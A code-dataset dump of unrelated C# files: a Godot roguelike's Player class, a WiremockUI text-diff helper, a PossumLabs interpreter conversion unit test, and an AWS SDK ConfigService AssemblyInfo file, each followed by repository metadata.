private PackedScene projectileScene;
private PackedScene potionScene;
private PackedScene spellPickupScene;
private Stack<PackedScene> deathGibs = new Stack<PackedScene>();
private List<AudioStreamSample> hitSounds = new List<AudioStreamSample>();
private AudioStreamRandomPitch spellCastSound;
private AudioStreamRandomPitch gulpSound;
private List<AudioStreamSample> burpSounds = new List<AudioStreamSample>();
private PackedScene bottleSmashEffectScene;
private PackedScene buffTrackerScene;
// Export
[Export]
private NodePath _cameraPath;
[Export]
private Shape2D hitBoxTraceShape;
// Signals
[Signal]
public delegate void PlayerDied(Player player);
[Signal]
public delegate void PlayerDamaged(int damage);
// Called when the node enters the scene tree for the first time.
public override void _Ready()
{
base._Ready();
debugPoint = GD.Load<Texture>("res://textures/2x2_white.png");
projectileScene = GD.Load<PackedScene>("res://scenes/Projectile.tscn");
potionScene = GD.Load<PackedScene>("res://scenes/Potion.tscn");
spellPickupScene = GD.Load<PackedScene>("res://scenes/SpellPickup.tscn");
buffTrackerScene = GD.Load<PackedScene>("res://scenes/BuffTracker.tscn");
// load player death gibs
deathGibs.Push(GD.Load<PackedScene>("res://scenes/PlayerGibHead.tscn"));
deathGibs.Push(GD.Load<PackedScene>("res://scenes/PlayerGibArm.tscn"));
deathGibs.Push(GD.Load<PackedScene>("res://scenes/PlayerGibArm.tscn"));
deathGibs.Push(GD.Load<PackedScene>("res://scenes/PlayerGibTorso.tscn"));
deathGibs.Push(GD.Load<PackedScene>("res://scenes/PlayerGibLeg.tscn"));
deathGibs.Push(GD.Load<PackedScene>("res://scenes/PlayerGibLeg.tscn"));
// load player hit sounds
LevelGen.LevelGenerator.LoadFromDirectory<AudioStreamSample>("res://sound/sfx/player_hit/", hitSounds);
spellCastSound = new AudioStreamRandomPitch();
spellCastSound.AudioStream = GD.Load<AudioStreamSample>("res://sound/sfx/player_spell_cast_mixdown.wav");
spellCastSound.RandomPitch = 1.1f;
gulpSound = new AudioStreamRandomPitch();
gulpSound.AudioStream = GD.Load<AudioStreamSample>("res://sound/sfx/gulp_mixdown.wav");
// load burp sounds
LevelGen.LevelGenerator.LoadFromDirectory<AudioStreamSample>("res://sound/sfx/burp/", burpSounds);
bottleSmashEffectScene = GD.Load<PackedScene>("res://scenes/BottleSmashEffect.tscn");
majykaBar = GetParent().GetNode<MajykaContainer>("CanvasLayer/MajykaContainer");
spellParticle = GetNode<Particles2D>("CharSprite/SpellParticle");
spellParticle.Material = new ShaderMaterial();
staff = GetNode<Sprite>("CharSprite/staff");
Camera = GetNode<Camera2D>(_cameraPath);
World = GetParent<World>();
arm = GetNode<Line2D>("CharSprite/Arm");
armOutline = GetNode<Line2D>("CharSprite/ArmOutline");
staffLight = GetNode<Light2D>("CharSprite/staff/StaffLight");
spellSpawnPoint = GetNode<Node2D>("CharSprite/staff/SpellSpawnPoint");
potionSlot = World.GetNode<ItemDisplaySlot>("CanvasLayer/PotionSlot");
primarySpellSlot = World.GetNode<ItemDisplaySlot>("CanvasLayer/PrimarySpellSlot");
hitSoundPlayer = GetNode<AudioStreamPlayer>("HitSoundPlayer");
spellSoundPlayer = GetNode<AudioStreamPlayer>("SpellSoundPlayer");
potionSoundPlayer = GetNode<AudioStreamPlayer>("PotionSoundPlayer");
buffTrackerContainer = World.GetNode<GridContainer>("CanvasLayer/BuffTrackerContainer");
spellFXNode = GetNode<Node2D>("CharSprite/staff/SpellEffectsNode");
cloakUpDown = GetNode<ClothSim>("CloakUpDown");
cloakRightLeft = GetNode<ClothSim>("CloakLeftRight");
Items items = GetNode<Items>("/root/Items");
var magicMissile = items.FindSpellPoolEntry(Spells.Spells.MagicMissile, Items.LootPool.GENERAL);
PickUpPrimarySpell(magicMissile.spell);
items.RemoveSpellFromPools(magicMissile);
secondarySpell = Spells.Spells.IceSkin;
CachePrimarySpellColour();
DebugOverlay debug = World.GetDebugOverlay();
debug.TrackFunc(nameof(GetSpellDamage), this, "DMG", 1);
debug.TrackFunc(nameof(GetSpellRange), this, "RNG", 1);
debug.TrackFunc(nameof(GetSpellKnockback), this, "KBK", 1);
debug.TrackFunc(nameof(GetSpellSpeed), this, "SPD", 1);
hitAreaShapeQuery = new Physics2DShapeQueryParameters();
hitAreaShapeQuery.SetShape(hitBoxTraceShape);
hitAreaShapeQuery.Transform = new Transform2D(0.0f, GlobalPosition + new Vector2(0, -9.0f));
hitAreaShapeQuery.CollideWithAreas = true;
hitAreaShapeQuery.CollideWithBodies = true;
hitAreaShapeQuery.CollisionLayer = 512;
hitAreaShapeQuery.Exclude = new Godot.Collections.Array() { this };
CheckSlideCollisions = true;
UpdatePotionSlot();
// Set up cloak
Color[] cloakColour = new Color[1] { Color.Color8(173, 47, 69) };
cloakUpDown.ClothColours = cloakColour;
cloakUpDown.SetUp();
// add cloak cloth-sim right/left quads
cloakRightLeft.QuadIndices.AddRange(new int[4][] { new int[4] { 0, 1, 3, 2 }, new int[4] { 2, 3, 5, 4 }, new int[4] { 4, 5, 7, 6 }, new int[4] { 6, 7, 9, 8 } });
cloakRightLeft.MaxStaticPoint = 2;
cloakRightLeft.ClothColours = cloakColour;
cloakRightLeft.SetUp();
}
public override void _UnhandledInput(InputEvent evt)
{
base._UnhandledInput(evt);
if (IsDead)
return;
if (evt is InputEventKey keyEvt)
{
if (keyEvt.Pressed)
{
if (evt.IsActionPressed("g_interact"))
{
TryInteract();
}
if (evt.IsActionPressed("g_move_up"))
{
inputMoveUp = true;
}
if (evt.IsActionPressed("g_move_down"))
{
inputMoveDown = true;
}
if (evt.IsActionPressed("g_move_left"))
{
inputMoveLeft = true;
}
if (evt.IsActionPressed("g_move_right"))
{
inputMoveRight = true;
}
if (evt.IsActionPressed("g_use_potion"))
{
ConsumeCurrentPotion();
}
if (keyEvt.Scancode == (int)KeyList.K)
{
// suicide
TakeDamage(9999, sourceName: "suicide");
}
}
else
{
if (evt.IsActionReleased("g_move_up"))
{
inputMoveUp = false;
}
if (evt.IsActionReleased("g_move_down"))
{
inputMoveDown = false;
}
if (evt.IsActionReleased("g_move_left"))
{
inputMoveLeft = false;
}
if (evt.IsActionReleased("g_move_right"))
{
inputMoveRight = false;
}
}
// Jump
if (evt.IsActionPressed("g_jump"))
{
if (elevation == 0)
{
// jumpVelocity = jumpPower;
}
}
}
if (evt is InputEventMouseButton emb)
{
if (emb.IsPressed())
{
if (emb.ButtonIndex == (int)ButtonList.WheelUp)
{
scrollScale += 0.1f;
}
if (emb.ButtonIndex == (int)ButtonList.WheelDown)
{
scrollScale -= 0.1f;
}
}
}
if (evt is InputEventMouseMotion emm)
{
Vector2 gMPos = Camera.GetGlobalMousePosition();
facingDir = new Vector2(gMPos.x - GlobalPosition.x, gMPos.y - GlobalPosition.y).Normalized();
staffRot = Mathf.Atan2(facingDir.y, facingDir.x);
}
}
public override Vector2 GetInputAxis(float delta)
{
Vector2 newDir = new Vector2();
if (inputMoveUp)
{
newDir.y -= 1;
}
if (inputMoveDown)
{
newDir.y += 1;
}
if (inputMoveLeft)
{
newDir.x -= 1;
}
if (inputMoveRight)
{
newDir.x += 1;
}
return newDir;
}
public override void _Process(float delta)
{
base._Process(delta);
var clothVel = -(MovementVelocity + ExternalVelocity);
cloakUpDown.SystemMovementVelocity = clothVel;
cloakRightLeft.SystemMovementVelocity = clothVel;
primarySpell?.Process(this, delta);
secondarySpell.Process(this, delta);
if (Input.IsActionPressed("g_cast_primary_spell"))
{
if (currentMajyka >= GetSpellCost(primarySpell.MajykaCost) && primarySpellCooldown == 0.0f)
{
// Cast primary spell
primarySpell.Cast(this);
spellSoundPlayer.Stream = spellCastSound;
spellSoundPlayer.Play(0);
currentMajyka -= GetSpellCost(primarySpell.MajykaCost);
UpdateMajykaBar();
primarySpellCooldown = GetMaxPrimarySpellCooldown();
}
}
if (Input.IsActionPressed("g_cast_secondary_spell"))
{
CastSecondarySpell();
}
if (Input.IsActionJustReleased("g_cast_primary_spell"))
{
primarySpell.Release(this);
}
if (Input.IsActionJustReleased("g_cast_secondary_spell"))
{
secondarySpell.Release(this);
}
// Follow head gib
if (IsDead && headGib != null)
{
Camera.Offset = (headGib.GlobalPosition - Position) + new Vector2(0, -16);
}
if (IsDead)
return;
if (BloodTrailAmount > 0.0f)
{
BloodTrailAmount -= delta * 2.0f;
if (BloodTrailAmount < 0.0f)
{
BloodTrailAmount = 0.0f;
}
}
if (primarySpellCooldown > 0.0f)
{
primarySpellCooldown -= delta;
}
if (primarySpellCooldown < 0.0f)
primarySpellCooldown = 0.0f;
if (pickupCooldown > 0.0f)
pickupCooldown -= delta;
if (pickupCooldown < 0.0f)
pickupCooldown = 0.0f;
Direction fDir = GetFacingDirection();
staff.Rotation = staffRot;
staff.Position = staffOrigins[fDir] + (facingDir * 4.0f);
arm.Points = new Vector2[] { armOrigins[fDir] + (charSprite.Frame % 3 == 0 ? new Vector2(0, -1) : Vector2.Zero), staff.Position };
armOutline.Points = arm.Points;
staff.ShowBehindParent = fDir == Direction.Up || fDir == Direction.Left;
arm.ShowBehindParent = staff.ShowBehindParent;
armOutline.ShowBehindParent = staff.ShowBehindParent;
if (currentMajyka < maxMajyka)
RegenMajyka(delta);
float primarySpellCDPercent = primarySpellCooldown / GetMaxPrimarySpellCooldown();
if (primarySpellCDPercent < 1.0f)
majykaBar.UpdateSpellCooldown(primarySpellCDPercent);
else
majykaBar.UpdateSpellCooldown(0.0f);
// Update staff glow intensity
(staff.Material as ShaderMaterial).SetShaderParam("intensity", Mathf.Lerp(6.0f, 0.0f, primarySpellCooldown / maxPrimarySpellCooldown));
Vector2 cloakOffset = (charSprite.Frame % 3 == 0 ? new Vector2(0, -1) : Vector2.Zero);
// Update cloak
switch (GetFacingDirection())
{
case Direction.Up:
{
cloakUpDown.Visible = true;
cloakUpDown.ZIndex = 0;
cloakUpDown.StaticPointsOffset = cloakOffset;
cloakRightLeft.Visible = false;
break;
}
case Direction.Right:
{
cloakRightLeft.Visible = true;
cloakRightLeft.StaticPointsOffset = cloakOffset;
cloakRightLeft.Position = new Vector2(-3, -12);
cloakUpDown.Visible = false;
break;
}
case Direction.Down:
{
cloakUpDown.Visible = true;
cloakUpDown.ZIndex = -2;
cloakUpDown.StaticPointsOffset = cloakOffset;
cloakRightLeft.Visible = false;
break;
}
case Direction.Left:
{
cloakRightLeft.Visible = true;
cloakRightLeft.StaticPointsOffset = cloakOffset;
cloakRightLeft.Position = new Vector2(0, -12);
cloakUpDown.Visible = false;
break;
}
}
Update();
}
public override void _Draw()
{
DrawEquippedArtefacts(GetFacingDirection());
}
public override void Die()
{
if (IsDead)
return;
KilledBy = lastDamagedBy;
staff.RemoveChild(staffLight);
AddChild(staffLight);
staffLight.Position = Vector2.Zero;
staffLight.Color = Colors.White;
staffLight.Energy = 1.0f;
var rng = World.rng;
LevelGen.BloodTexture bloodTexture = World.BloodTexture;
foreach (PackedScene gibScene in deathGibs)
{
PlayerGib gib = gibScene.Instance<PlayerGib>();
if (gib.isHead)
{
headGib = gib;
}
World.AddChild(gib);
Vector2 gibOffset = new Vector2(rng.Randf(), rng.Randf()).Normalized() * 2.0f;
gib.Position = Position + gibOffset;
float gibDir = rng.Randf() > 0.5f ? -1.0f : 1.0f;
bool shouldBounce = rng.Randf() > 0.25f || gib.isHead;
gib.Init(bloodTexture, new Vector2(rng.RandfRange(30.0f, 50.0f) * gibDir, 10.0f), shouldBounce ? (rng.RandfRange(350.0f, 500.0f) * gibDir) : 0.0f);
if (shouldBounce)
{
gib.BounceTween(rng.RandfRange(-16f, -56));
}
}
charSprite.Visible = false;
shadowSprite.Visible = false;
base.Die();
EmitSignal(nameof(PlayerDied), this);
}
public override float GetMaxSpeed()
{
return IsDead ? 0.0f : base.GetMaxSpeed();
}
private void DrawEquippedArtefacts(Direction direction)
{
foreach (Artefact.ArtefactTextureSet textureSet in artefactTextureSets)
{
Texture artefactTex = textureSet.TextureFromDirection(direction);
if (artefactTex != null)
{
Rect2 rect = new Rect2(textureSet.Offset + (charSprite.Frame % 3 == 0 ? new Vector2(0, -1) : Vector2.Zero) + new Vector2(0, -elevation), artefactTex.GetSize());
if (direction == Direction.Up || direction == Direction.Left)
rect.Size = new Vector2(rect.Size.x * -1.0f, rect.Size.y);
DrawTextureRect(artefactTex, rect, false);
}
}
}
public override void _PhysicsProcess(float delta)
{
base._PhysicsProcess(delta);
var spaceState = GetWorld2d().DirectSpaceState;
var result = spaceState.IntersectRay(staffLight.GlobalPosition, staffLight.GlobalPosition + (facingDir * 4.0f), new Godot.Collections.Array() { this }, collisionLayer: 0b0001, collideWithAreas: true);
if (result.Count > 0)
{
// Move down staff
staffLight.Position -= new Vector2(120.0f * delta, 0);
}
else
{
staffLight.Position = staffLight.Position.LinearInterpolate(new Vector2(6, 0), delta * 2.0f);
}
// Custom area hit detection because godot's is unreliable
hitAreaShapeQuery.Transform = new Transform2D(0.0f, GlobalPosition + new Vector2(0, -8.0f));
Godot.Collections.Array hitResult = spaceState.IntersectShape(hitAreaShapeQuery);
HashSet<Node> hitNodes = new HashSet<Node>();
foreach (Godot.Collections.Dictionary hit in hitResult)
{
Node hitNode = ((Node)hit["collider"]);
hitNodes.Add(hitNode);
if (!intersectedAreas.Contains(hitNode))
{
intersectedAreas.Add(hitNode);
if (hitNode is IIntersectsPlayerHitArea hitable)
{
hitable.PlayerHit(this);
GD.Print("Player hit " + hitNode.Name);
}
else if (hitNode.GetParent() is IIntersectsPlayerHitArea parentHitable)
{
parentHitable.PlayerHit(this);
GD.Print("Player hit " + hitNode.GetParent().Name);
}
}
}
// remove intersections that no longer exist
intersectedAreas.RemoveWhere((Node node) => { return !hitNodes.Contains(node); });
}
public override void OnSlideCollision(KinematicCollision2D kinematicCollision, Vector2 slideVelocity)
{
base.OnSlideCollision(kinematicCollision, slideVelocity);
if (kinematicCollision.Collider is IIntersectsPlayerHitArea hittable)
{
hittable.PlayerHit(this);
}
}
private bool TryInteract()
{
GD.Print("TryInteract():");
Physics2DDirectSpaceState spaceState = GetWorld2d().DirectSpaceState;
Vector2 rayStart = this.GlobalPosition + new Vector2(0, -9);
Vector2 rayEnd = rayStart;
switch (GetDirection(Dir))
{
case Direction.Up:
{
rayEnd += new Vector2(0, -20);
break;
}
case Direction.Right:
{
rayEnd += new Vector2(20, 0);
break;
}
case Direction.Down:
{
rayEnd += new Vector2(0, 20);
break;
}
case Direction.Left:
{
rayEnd += new Vector2(-20, 0);
break;
}
}
var result = spaceState.IntersectRay(this.GlobalPosition + new Vector2(0, -9), rayEnd, new Godot.Collections.Array { this }, collisionLayer: 0b0010, collideWithAreas: true);
Sprite debug = new Sprite();
debug.Texture = debugPoint;
GetParent().AddChild(debug);
debug.Modulate = Colors.Red;
debug.Position = rayEnd;
if (result.Count > 0)
{
Node collider = (Node)result["collider"];
GD.Print("Collided with " + collider.Name);
debug.Modulate = Colors.Green;
debug.Position = (Vector2)result["position"];
if (collider is IInteractible)
{
(collider as IInteractible).Interact();
GD.Print("Interacted with " + collider.Name);
return true;
}
else if (collider.Owner is IInteractible)
{
(collider.Owner as IInteractible).Interact();
GD.Print("Interacted with " + collider.Owner.Name);
return true;
}
}
return false;
}
public float GetSpellCost(float baseCost)
{
return (baseCost + currentStats[Stat.MagykaCostFlat]) * currentStats[Stat.MagykaCostMultiplier];
}
public void CastSecondarySpell()
{
if (currentMajyka >= GetSpellCost(secondarySpell.MajykaCost))
{
secondarySpell.Cast(this);
spellSoundPlayer.Stream = spellCastSound;
spellSoundPlayer.Play(0);
currentMajyka -= GetSpellCost(secondarySpell.MajykaCost);
UpdateMajykaBar();
}
}
private void RegenMajyka(float delta)
{
currentMajyka += (25.0f * delta * GetStatValue(Stat.MagykaRegenMultiplayer));
if (currentMajyka > maxMajyka)
currentMajyka = maxMajyka;
UpdateMajykaBar();
}
private void UpdateMajykaBar()
{
majykaBar.CurrentMajyka = Mathf.RoundToInt((currentMajyka / maxMajyka) * 100.0f);
}
private void ResetCanTakeDamage()
{
canTakeDamage = true;
}
public override void TakeDamage(float damage = 1, Character source = null, string sourceName = "")
{
if (canTakeDamage)
{
damage = Mathf.Round(damage);
BloodTrailAmount += damage;
BloodTrailColour = PlayerBloodColour;
hitSoundPlayer.Stream = hitSounds[World.rng.RandiRange(0, hitSounds.Count - 1)];
hitSoundPlayer.Play(0);
base.TakeDamage(damage, source, sourceName);
canTakeDamage = false;
takeDmgTimer = GetTree().CreateTimer(0.25f, false);
takeDmgTimer.Connect("timeout", this, nameof(ResetCanTakeDamage));
EmitSignal(nameof(PlayerDamaged), damage);
}
}
public override Direction GetFacingDirection()
{
return GetDirection(facingDir);
}
public void UpdatePlayerSpellEffects(Shader effectShader, Color outlineColour, float duration)
{
ShaderMaterial mat = (ShaderMaterial)charSprite.Material;
mat.SetShaderParam("outline_width", 1.0f);
mat.SetShaderParam("outline_colour", outlineColour);
armOutline.Visible = true;
armOutline.DefaultColor = outlineColour;
ShaderMaterial pMat = (ShaderMaterial)spellParticle.Material;
pMat.Shader = effectShader;
pMat.SetShaderParam("base_colour", outlineColour);
spellParticle.Emitting = true;
spellEffectTimer?.Disconnect("timeout", this, nameof(DispelPlayerSpellEffects));
spellEffectTimer = GetTree().CreateTimer(duration);
spellEffectTimer.Connect("timeout", this, nameof(DispelPlayerSpellEffects));
}
public void DispelPlayerSpellEffects()
{
ShaderMaterial mat = (ShaderMaterial)charSprite.Material;
mat.SetShaderParam("outline_width", 0.0f);
armOutline.Visible = false;
spellParticle.Emitting = false;
}
public Vector2 GetSpellDirection()
{
return facingDir;
}
public Vector2 GetSpellSpawnPos()
{
return spellSpawnPoint.GlobalPosition;
}
public Color GetSpellColour(Color baseColour)
{
return primarySpellColourCache;
}
public float GetSpellDamage(float baseDamage)
{
return (baseDamage + currentStats[Stat.DamageFlat]) * currentStats[Stat.DamageMultiplier];
}
public float GetSpellRange(float baseRange)
{
return baseRange * currentStats[Stat.RangeMultiplier];
}
public float GetSpellKnockback(float baseKnockback)
{
return baseKnockback * currentStats[Stat.KnockbackMultiplier];
}
public float GetSpellSpeed(float baseSpeed)
{
return baseSpeed * currentStats[Stat.SpellSpeedMultiplier];
}
public NodePath AddSpellEffectNode(Node2D node)
{
spellFXNode.AddChild(node);
return node.GetPath();
}
private float GetMaxPrimarySpellCooldown()
{
return (maxPrimarySpellCooldown + currentStats[Stat.CooldownFlat]) * currentStats[Stat.CooldownMultplier];
}
public bool PickUpPotion(Potion newPotion)
{
if (pickupCooldown > 0.0f)
{
return false;
}
if (currentPotion != null)
{
// Drop current potion
PotionPickup droppedPotion = potionScene.Instance<PotionPickup>();
droppedPotion.potion = currentPotion;
World.AddChild(droppedPotion);
droppedPotion.Position = Position;
droppedPotion.ApplyCentralImpulse(Dir * 60f);
}
currentPotion = newPotion;
World.artefactNamePopup?.DisplayPopup(newPotion.name, newPotion.desc);
UpdatePotionSlot();
pickupCooldown = 0.5f;
return true;
}
private void ConsumeCurrentPotion()
{
if (currentPotion == null)
return;
PlayGulpSound();
GetTree().CreateTimer(0.25f).Connect("timeout", this, nameof(ThrowEmptyPotion));
if (World.rng.Randf() <= 0.2f)
{
GetTree().CreateTimer(1.0f).Connect("timeout", this, nameof(PlayBurpSound));
}
BuffTracker tracker = ApplyPerRoomBuff(currentPotion.name, new HashSet<(Stat stat, float amount)>(currentPotion.stats), currentPotion.duration);
tracker.ItemIcon.Texture = potionSlot.Texture;
tracker.ItemIcon.Material = (ShaderMaterial)potionSlot.Material.Duplicate();
ShaderMaterial mat = (ShaderMaterial)tracker.ItemIcon.Material;
mat.SetShaderParam("colour_lerp_a", currentPotion.lerpColours[0]);
mat.SetShaderParam("colour_lerp_b", currentPotion.lerpColours[1]);
mat.SetShaderParam("colour_lerp_c", currentPotion.lerpColours[2]);
currentPotion = null;
UpdatePotionSlot();
}
private void ThrowEmptyPotion()
{
BottleSmashEffect emptyPotion = bottleSmashEffectScene.Instance<BottleSmashEffect>();
World.AddChild(emptyPotion);
emptyPotion.Position = Position + new Vector2(0, -11);
emptyPotion.Start(new Vector2(World.rng.RandfRange(2.0f, 3.5f) * (World.rng.Randf() <= 0.5f ? -1.0f : 1.0f), World.rng.RandfRange(-1.0f, 1.0f)), World.rng.RandfRange(350.0f, 500.0f));
}
public void PlayGulpSound()
{
potionSoundPlayer.Stream = gulpSound;
potionSoundPlayer.Play(0);
}
private void PlayBurpSound()
{
potionSoundPlayer.Stream = burpSounds[World.rng.RandiRange(0, burpSounds.Count - 1)];
potionSoundPlayer.Play(0);
}
private void UpdatePotionSlot()
{
if (currentPotion == null)
{
potionSlot.SelfModulate = Colors.Transparent;
potionSlot.ItemName = "";
return;
}
potionSlot.SelfModulate = Colors.White;
potionSlot.ItemName = currentPotion.name;
ShaderMaterial shaderMat = (ShaderMaterial)potionSlot.Material;
shaderMat.SetShaderParam("colour_lerp_a", currentPotion.lerpColours[0]);
shaderMat.SetShaderParam("colour_lerp_b", currentPotion.lerpColours[1]);
shaderMat.SetShaderParam("colour_lerp_c", currentPotion.lerpColours[2]);
}
public void PickedUpArtefact(Artefact artefact)
{
World.artefactNamePopup.DisplayPopup(artefact.Name, artefact.Description);
}
public void MixInSpellColour(Color newColour, float weight)
{
SpellColourMods.Add((newColour, weight));
CachePrimarySpellColour();
}
private Color BlendColors(Color a, Color b, float t)
{
return new Color(BlendColourChannel(a.r, b.r, t), BlendColourChannel(a.g, b.g, t), BlendColourChannel(a.b, b.b, t));
}
private float BlendColourChannel(float a, float b, float t)
{
return Mathf.Sqrt((1.0f - t) * Mathf.Pow(a, 2.2f) + t * Mathf.Pow(b, 2.2f));
}
private void CachePrimarySpellColour()
{
Color baseColour = primarySpell.BaseColour;
foreach (var modifier in SpellColourMods)
{
baseColour = BlendColors(baseColour, modifier.colour, modifier.weight);
}
primarySpellColourCache = baseColour;
UpdateStaffGlow();
}
private void UpdateStaffGlow()
{
(staff.Material as ShaderMaterial).SetShaderParam("emission_tint", primarySpellColourCache);
}
public void PickUpPrimarySpell(BaseSpell spell)
{
if (primarySpell != null)
DropSpellPickup(primarySpell);
World.artefactNamePopup?.DisplayPopup("Tome of " + spell.Name, "");
primarySpell = spell;
primarySpellSlot.SetItemTexture(spell.Icon);
primarySpellSlot.ItemName = spell.Name;
CachePrimarySpellColour();
}
private void DropSpellPickup(BaseSpell spell)
{
SpellPickup droppedSpell = spellPickupScene.Instance<SpellPickup>();
droppedSpell.SetSpell(spell);
World.AddChild(droppedSpell);
droppedSpell.Position = Position + new Vector2(Dir * -8.0f);
droppedSpell.ApplyCentralImpulse(Dir * -80.0f);
}
public BuffTracker ApplyPerRoomBuff(string source, HashSet<(Stat stat, float amount)> stats, int duration)
{
foreach (BuffTracker buffTracker in PerRoomBuffs)
{
if (buffTracker.sourceName == source)
{
buffTracker.QueueFree();
}
}
PerRoomBuffs.RemoveWhere(b => { return b.sourceName == source; });
BuffTracker newBuffTracker = buffTrackerScene.Instance<BuffTracker>();
newBuffTracker.Init(source, stats, duration);
buffTrackerContainer.AddChild(newBuffTracker);
PerRoomBuffs.Add(newBuffTracker);
buffTrackerContainer.Columns = Mathf.Min(PerRoomBuffs.Count, 5);
RecalcStats();
return newBuffTracker;
}
public override void RecalcStats()
{
base.RecalcStats();
foreach (BuffTracker buffTracker in PerRoomBuffs)
{
foreach ((Stat stat, float amount) in buffTracker.stats)
{
currentStats[stat] = currentStats[stat] + amount;
}
}
}
public void ClearedRoom()
{
// Decrement per room buffs and clear ones with 0 charges left
foreach (BuffTracker buffTracker in PerRoomBuffs)
{
buffTracker.Charges--;
if (buffTracker.Charges <= 0)
{
buffTracker.QueueFree();
}
}
int removed = PerRoomBuffs.RemoveWhere(b => b.Charges <= 0);
if (removed > 0)
{
RecalcStats();
}
}
}
}
| 36.312315 | 325 | 0.547169 |
[
"MIT"
] |
ConnorRowe/Oubliette-Godot
|
scripts/Player.cs
| 36,857 |
C#
|
using System;
using System.IO;
using System.Collections;
namespace WiremockUI
{
public class TextLine : IComparable
{
public string Line;
public int _hash;
public TextLine(string str)
{
Line = str.Replace("\t"," ");
_hash = str.GetHashCode();
}
#region IComparable Members
public int CompareTo(object obj)
{
return _hash.CompareTo(((TextLine)obj)._hash);
}
#endregion
}
public class TextFileDiff : IDiffList
{
private const int MaxLineLength = 1024;
private ArrayList _lines;
public TextFileDiff(ArrayList lines)
{
this._lines = lines;
}
public static ArrayList GetByText(string text)
{
var _lines = new ArrayList();
using (var sr = new StringReader(text))
{
String line;
// Read and display lines from the file until the end of
// the file is reached.
while ((line = sr.ReadLine()) != null)
{
//if (line.Length > MaxLineLength)
//{
// throw new InvalidOperationException(
// string.Format("File contains a line greater than {0} characters.",
// MaxLineLength.ToString()));
//}
_lines.Add(new TextLine(line));
}
}
return _lines;
}
public static ArrayList GetByFile(string fileName)
{
var _lines = new ArrayList();
using (StreamReader sr = new StreamReader(fileName))
{
String line;
// Read and display lines from the file until the end of
// the file is reached.
while ((line = sr.ReadLine()) != null)
{
if (line.Length > MaxLineLength)
{
throw new InvalidOperationException(
string.Format("File contains a line greater than {0} characters.",
MaxLineLength.ToString()));
}
_lines.Add(new TextLine(line));
}
}
return _lines;
}
#region IDiffList Members
public int Count()
{
return _lines.Count;
}
public IComparable GetByIndex(int index)
{
return (TextLine)_lines[index];
}
#endregion
}
}
| 24.959596 | 96 | 0.504249 |
[
"MIT"
] |
juniorgasparotto/WiremockUI
|
src/WiremockUI/DiffEngine/TextFile.cs
| 2,471 |
C#
|
using Microsoft.VisualStudio.TestTools.UnitTesting;
using PossumLabs.Specflow.Core.Variables;
using FluentAssertions;
using System;
using System.Collections.Generic;
using System.Text;
namespace PossumLabs.Specflow.Core.UnitTests.Variables
{
[TestClass]
public class InterperterConvertTest
{
private Interpeter Interpeter { get; }
private ObjectFactory ObjectFactory { get; }
public InterperterConvertTest()
{
ObjectFactory = new ObjectFactory();
Interpeter = new Interpeter(ObjectFactory);
}
[TestMethod]
public void ReturnNullWhenObjectNull()
=>Interpeter.Convert(typeof(MyDomainObject), null)
.Should().BeNull("nulls should stay null if possible");
[TestMethod]
public void ConvertToNullable()
=> Interpeter.Convert(typeof(int?), Convert.ToInt32(42)).Should().Be(42);
[TestMethod]
public void ConvertToNullableIntFromByte()
=> Interpeter.Convert(typeof(int?), Convert.ToByte(42)).Should().Be(42);
[TestMethod]
public void ConvertToNullableLongFromByte()
=> Interpeter.Convert(typeof(long?), Convert.ToByte(42)).Should().Be(42);
[TestMethod]
public void ConvertToNullableBigger()
=> Interpeter.Convert(typeof(long?), Convert.ToInt32(42)).Should().Be(42);
[TestMethod]
public void ConvertToBigger()
=> Interpeter.Convert(typeof(long), Convert.ToInt32(42)).Should().Be(42);
[TestMethod]
public void ConvertfromString()
=> Interpeter.Convert(typeof(int), "42").Should().Be(42);
[TestMethod]
public void ConvertToNullableFromString()
=> Interpeter.Convert(typeof(int?), "42").Should().Be(42);
[TestMethod]
public void ConvertBulk()
{
var types = new List<Type> {
typeof(byte),
typeof(int),
typeof(long),
typeof(Int16),
typeof(UInt16),
typeof(Int32),
typeof(UInt32),
typeof(Int64),
typeof(UInt64),
typeof(byte?),
typeof(int?),
typeof(long?),
typeof(Nullable<Int16>),
typeof(Nullable<UInt16>),
typeof(Nullable<Int32>),
typeof(Nullable<UInt32>),
typeof(Nullable<Int64>),
typeof(Nullable<UInt64>)
};
foreach (var targetType in types)
{
foreach (var sourceType in types)
{
var i = Interpeter.Convert(sourceType, "42");
i.Should().Be(42);
Interpeter.Convert(targetType, i).Should().Be(42);
}
}
}
}
}
| 32.311111 | 85 | 0.549175 |
[
"MIT"
] |
BasHamer/PossumLabs.Specflow.Core
|
PossumLabs.Specflow.Core.UnitTests/Variables/InterperterConvertTest.cs
| 2,910 |
C#
|
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("AWSSDK.ConfigService")]
#if BCL35
[assembly: AssemblyDescription("The Amazon Web Services SDK for .NET (3.5) - AWS Config. AWS Config is a fully managed service that provides you with an AWS resource inventory, configuration history, and configuration change notifications to enable security and governance.")]
#elif BCL45
[assembly: AssemblyDescription("The Amazon Web Services SDK for .NET (4.5) - AWS Config. AWS Config is a fully managed service that provides you with an AWS resource inventory, configuration history, and configuration change notifications to enable security and governance.")]
#elif NETSTANDARD13
[assembly: AssemblyDescription("The Amazon Web Services SDK for .NET (NetStandard 1.3) - AWS Config. AWS Config is a fully managed service that provides you with an AWS resource inventory, configuration history, and configuration change notifications to enable security and governance.")]
#elif NETSTANDARD20
[assembly: AssemblyDescription("The Amazon Web Services SDK for .NET (NetStandard 2.0) - AWS Config. AWS Config is a fully managed service that provides you with an AWS resource inventory, configuration history, and configuration change notifications to enable security and governance.")]
#elif NETCOREAPP3_1
[assembly: AssemblyDescription("The Amazon Web Services SDK for .NET (.NET Core 3.1) - AWS Config. AWS Config is a fully managed service that provides you with an AWS resource inventory, configuration history, and configuration change notifications to enable security and governance.")]
#else
#error Unknown platform constant - unable to set correct AssemblyDescription
#endif
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyProduct("Amazon Web Services SDK for .NET")]
[assembly: AssemblyCompany("Amazon.com, Inc")]
[assembly: AssemblyCopyright("Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
